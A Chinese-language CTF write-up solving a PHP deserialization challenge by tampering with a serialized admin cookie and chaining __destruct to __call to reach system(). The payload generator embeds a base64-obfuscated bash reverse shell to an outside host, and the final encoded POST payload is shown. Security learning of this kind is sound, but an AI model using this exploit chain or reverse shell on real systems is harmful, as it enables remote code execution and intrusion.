每日一题 —— [HZNUCTF 2023 preliminary]ppppop¶
打开题目是一片空白页,在确认了这空白页就是题目所给的信息后,我们就尝试利用 dirsearch 扫描,但是并没有什么有用的结果。于是我们就查看题目除了没有发回 html 源代码,还有没有发回别的东西。于是我们就查看 "网络" 选项卡,发现了它有 set-cookie 一项,细看是一个 base64 编码的字符串。经过解码后发现是一个 php 对象的序列化字符串,属性只有一个 is-admin,并且值为 false,也就是 b:0。我们把这个 0 改为 1, 然后 base64 编码之后重新作为我们发送的 cookie 值。重新发送后,就发现我们看到了 index.php 的源代码了。
观察代码,有两个类,一个是 A,一个是 B。其中 A 类有 __destruct 方法,也就是可以作为反序列化的入口类。B 类有一个 __call 方法,其中方法的实现非常简单,就是直接把调用 B 类的类方法直接转为公有的函数。也就是说你直接调用 B->eval() 就相当于调用了 eval() 函数。
这里直接给出我的 payload:
<?php
class A {
public $className = 'B';
public $funcName = 'system';
public $args = 'echo "YmFzaCAtaSA+JiAvZGV2L3RjcC93d3cuc3hyaGhoLnRvcC8yMzMzIDA+JjE=" | base64 -d | bash';
}
$a = new A();
$b =urlencode(base64_encode(strrev(serialize($a))));
echo $b;
$args 那个属性直接写上 env 就可以。因为 flag 就在 FLAG 环境变量里。
最终 payload:
POST:
payload=fTsidm5lIjozOnM7InNncmEiOjQ6czsibWV0c3lzIjo2OnM7ImVtYU5jbnVmIjo4OnM7IkIiOjE6czsiZW1hTnNzYWxjIjo5OnN7OjM6IkEiOjE6Tw%3D%3D
文章热度:0次阅读